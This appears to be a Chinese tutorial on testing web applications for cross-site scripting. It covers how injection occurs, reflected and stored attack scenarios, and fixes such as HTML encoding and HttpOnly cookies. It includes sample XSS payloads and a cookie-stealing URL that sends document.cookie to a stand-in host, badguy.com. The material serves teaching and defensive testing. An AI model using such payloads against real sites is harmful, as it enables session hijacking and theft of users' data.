天天看點

Web安全測試之XSS

  xss 是如何發生的呢

  假如有下面一個textbox

  <input type="text" name="address1" value="value1from">

  value1from是來自使用者的輸入,如果使用者不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成

  <input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

  嵌入的javascript代碼将會被執行

  或者使用者輸入的是  "onfocus="alert(document.cookie)      那麼就會變成

  <input type="text" name="address1" value="" onfocus="alert(document.cookie)">

  事件被觸發的時候嵌入的javascript代碼将會被執行

  攻擊的威力,取決于使用者輸入了什麼樣的腳本

  當然使用者送出的資料還可以通過querystring(放在url中)和cookie發送給伺服器. 例如下圖

Web安全測試之XSS

  html encode

  xss之是以會發生, 是因為使用者輸入的資料變成了代碼。 是以我們需要對使用者輸入的資料進行html encode處理。 将其中的"中括号", “單引号”,“引号” 之類的特殊字元進行編碼。

Web安全測試之XSS

  在c#中已經提供了現成的方法,隻要調用httputility.htmlencode("string <scritp>") 就可以了。  (需要引用system.web程式集)

  fiddler中也提供了很友善的工具, 點選toolbar上的"textwizard" 按鈕

Web安全測試之XSS

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  xss 攻擊場景</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  1. dom-based xss 漏洞 攻擊過程如下</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  tom 發現了victim.com中的一個頁面有xss漏洞,</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  例如: http://victim.com/search.asp?term=apple</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  伺服器中search.asp 頁面的代碼大概如下</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;html&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;title&gt;&lt;/title&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;body&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">results  for  &lt;%reequest.querystring("term")%&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">...</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;/body&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;/html&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  tom 先建立一個網站http://badguy.com,  用來接收“偷”來的資訊。</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  然後tom 構造一個惡意的url(如下), 通過某種方式(郵件,qq)發給monica</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  http://victim.com/search.asp?term=&lt;script&gt;window.open("http://badguy.com?cookie="+document.cookie)&lt;/script&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  monica點選了這個url, 嵌入在url中的惡意javascript代碼就會在monica的浏覽器中執行. 那麼monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣monica在victim.com 的資訊就被tom盜了.</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  2. stored xss(存儲式xss漏洞), 該類型是應用廣泛而且有可能影響大web伺服器自身安全的漏洞,攻擊者将攻擊腳本上傳到web伺服器上,使得所有通路該頁面的使用者都面臨資訊洩露的可能。 攻擊過程如下</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  alex發現了網站a上有一個xss 漏洞,該漏洞允許将攻擊代碼儲存在資料庫中,</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  alex釋出了一篇文章,文章中嵌入了惡意javascript代碼。</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  其他人如monica通路這片文章的時候,嵌入在文章中的惡意javascript代碼就會在monica的浏覽器中執行,其會話cookie或者其他資訊将被alex盜走。</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  dom-based xss漏洞威脅使用者個體,而存儲式xss漏洞所威脅的對象将是大量的使用者.</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  xss 漏洞修複</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  原則: 不相信客戶輸入的資料</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  注意:  攻擊代碼不一定在&lt;script&gt;&lt;/script&gt;中</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  将重要的cookie标記為http only,   這樣的話javascript 中的document.cookie語句就不能擷取到cookie了.</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  隻允許使用者輸入我們期望的資料。 例如: 年齡的textbox中,隻允許使用者輸入數字。 而數字之外的字元都過濾掉。</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  對資料進行html encode 處理</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  過濾或移除特殊的html标簽, 例如: &lt;script&gt;, &lt;iframe&gt; ,  &amp;lt; for &lt;, &amp;gt; for &gt;, &amp;quot for</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  過濾javascript 事件的标簽。例如 "onclick=", "onfocus" 等等。</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  如何測試xss漏洞</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  方法一:  檢視代碼,查找關鍵的變量,   用戶端将資料傳送給web 服務端一般通過三種方式 querystring, form表單,以及cookie.  例如在asp的程式中,通過request對象擷取用戶端的變量</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;%</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">strusercode =  request.querystring(“code”);</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">struser =  request.form(“user”);</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">strid =    request.cookies(“id”);</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">%&gt;</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  假如變量沒有經過htmlencode處理, 那麼這個變量就存在一個xss漏洞</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">  方法二: 準備測試腳本,</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">"/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</a>

<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">"onclick="alert(document.cookie)</a>

 在網頁中的textbox或者其他能輸入資料的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在xss漏洞

  在url中檢視有那些變量通過url把值傳給web伺服器, 把這些變量的值退換成我們的測試的腳本。  然後看我們的腳本是否能執行

  方法三:  自動化測試xss漏洞

  現在已經有很多xss掃描工具了。 實作xss自動化測試非常簡單,隻需要用httpwebrequest類。 把包含xss 測試腳本。發送給web伺服器。 然後檢視httpwebresponse中,我們的xss測試腳本是否已經注入進去了。

  html encode 和url encode的差別

  剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。

  html編碼前面已經介紹過了,關于url 編碼是為了符合url的規範。因為在标準的url規範中中文和很多的字元是不允許出現在url中的。

  例如在baidu中搜尋"測試漢字"。 url會變成

  http://www.baidu.com/s?wd=%b2%e2%ca%d4%ba%ba%d7%d6&amp;rsv_bp=0&amp;rsv_spt=3&amp;inputt=7477

  所謂url編碼就是: 把所有非字母數字字元都将被替換成百分号(%)後跟兩位十六進制數,空格則編碼為加号(+)

  在c#中已經提供了現成的方法,隻要調用httputility.urlencode("string &lt;scritp&gt;") 就可以了。  (需要引用system.web程式集)

  浏覽器中的xss過濾器

  為了防止發生xss, 很多浏覽器廠商都在浏覽器中加入安全機制來過濾xss。 例如ie8,ie9,firefox, chrome. 都有針對xss的安全機制。 浏覽器會阻止xss。 例如下圖

Web安全測試之XSS

  如果需要做測試, 最好使用ie7。

  asp.net中的xss安全機制

  asp.net中有防範xss的機制,對送出的表單會自動檢查是否存在xss,當使用者試圖輸入xss代碼的時候,asp.net會抛出一個錯誤如下圖

Web安全測試之XSS

  很多程式員對安全沒有概念, 甚至不知道有xss的存在。 asp.net在這一點上做到預設安全。 這樣的話就算是沒有安全意識的程式員也能寫出一個”較安全的網站“。

  如果想禁止這個安全特性, 可以通過 &lt;%@  page  validaterequest=“false"  %&gt;

最新内容請見作者的github頁:http://qaseven.github.io/

繼續閱讀